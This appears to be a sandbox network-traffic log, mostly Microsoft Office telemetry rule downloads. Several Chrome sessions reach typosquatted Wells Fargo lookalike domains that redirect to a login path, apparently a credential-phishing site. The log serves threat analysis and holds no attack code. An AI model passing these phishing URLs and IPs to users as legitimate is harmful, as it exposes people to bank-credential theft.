2024-11-14 19:43:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49938	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:39 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:39 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 49ec1b2f-d01e-00ad-3aaf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194339Z-16547b76f7fmbrhqhC1DFWkds80000000m2g00000000q9fw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:39 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49939	103.114.163.132	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:39 UTC	637	OUT	GET /MettXckE HTTP/1.1 Host: connect.secure.access.wellsfargoadvlsor.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://online.secure.access.wellsfarqoadvlsor.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 19:43:40 UTC	20	IN	HTTP/1.1 302 Found
2024-11-14 19:43:40 UTC	40	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a Data Ascii: Access-Control-Allow-Credentials: true
2024-11-14 19:43:40 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2024-11-14 19:43:40 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-14 19:43:40 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-14 19:43:40 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2024-11-14 19:43:40 UTC	82	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 6f 6e 6e 65 63 74 2e 73 65 63 75 72 65 2e 61 63 63 65 73 73 2e 77 65 6c 6c 73 66 61 72 67 6f 61 64 76 6c 73 6f 72 2e 63 6f 6d 2f 61 75 74 68 2f 6c 6f 67 69 6e 2f 70 72 65 73 65 6e 74 0d 0a Data Ascii: Location: https://connect.secure.access.wellsfargoadvlsor.com/auth/login/present
2024-11-14 19:43:40 UTC	165	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 30 30 63 39 2d 30 62 35 63 3d 34 66 31 39 62 63 33 64 61 33 64 31 37 34 39 34 37 61 30 30 31 66 65 63 38 32 30 37 36 39 34 32 36 61 34 63 63 65 32 62 31 62 37 65 63 31 32 62 37 63 33 66 65 31 31 38 62 31 37 32 37 36 66 33 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 77 65 6c 6c 73 66 61 72 67 6f 61 64 76 6c 73 6f 72 2e 63 6f 6d 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 31 34 20 4e 6f 76 20 32 30 32 34 20 32 30 3a 34 33 3a 34 30 20 47 4d 54 0d 0a Data Ascii: Set-Cookie: 00c9-0b5c=4f19bc3da3d174947a001fec820769426a4cce2b1b7ec12b7c3fe118b17276f3; Path=/; Domain=wellsfargoadvlsor.com; Expires=Thu, 14 Nov 2024 20:43:40 GMT
2024-11-14 19:43:40 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-11-14 19:43:40 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-14 19:43:40 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49940	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:39 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:40 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:39 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 05e9aefb-801e-00ac-4740-36fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194339Z-16547b76f7f8dwtrhC1DFWd1zn0000000m6000000000g61c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:40 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49944	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:40 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:40 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:40 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 87e60a3d-901e-0067-3833-36b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194340Z-1749fc9bdbdnkwnnhC1DFWud0400000002tg00000000wg6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:40 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49941	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:40 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:40 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:40 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194340Z-16547b76f7f7scqbhC1DFW0m5w0000000ku0000000010dvf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:40 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49942	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:40 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:40 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:40 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 682504c0-001e-005a-75d2-2cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194340Z-16547b76f7fd4rc5hC1DFWkzhw00000000fg00000000775h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:40 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49945	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:40 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:40 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:40 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 7f14e84b-501e-00a3-1aaf-36c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194340Z-1749fc9bdbdxm7w9hC1DFWy1k400000000r000000000cv8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:40 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49947	188.119.66.154	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:41 UTC	857	OUT	GET / HTTP/1.1 Host: online.secure.access.wellsfarqoadvlsor.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://online.secure.access.wellsfarqoadvlsor.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
2024-11-14 19:43:41 UTC	852	IN	HTTP/1.1 302 Found Date: Thu, 14 Nov 2024 19:43:41 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: uid=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: stp=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: wt=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: hash=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: vndr=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: pmtcn=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Location: https://connect.secure.access.wellsfargoadvlsor.com/MettXckE Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49948	188.119.66.154	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:41 UTC	499	OUT	GET /secure/secure.php HTTP/1.1 Host: online.secure.access.wellsfarqoadvlsor.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
2024-11-14 19:43:41 UTC	276	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:41 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49949	103.114.163.132	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:41 UTC	647	OUT	GET /auth/login/present HTTP/1.1 Host: connect.secure.access.wellsfargoadvlsor.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://online.secure.access.wellsfarqoadvlsor.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49950	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:41 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:42 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:42 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 4e98fbea-b01e-0002-08d2-2c1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194342Z-16547b76f7fj5p7mhC1DFWf8w40000000m3g00000000vvyk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:42 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49953	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:41 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:41 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: f6edb455-601e-0002-0aa1-34a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194341Z-r178fb8d7656shmjhC1DFWu5kw00000002z000000000ncny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:41 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" 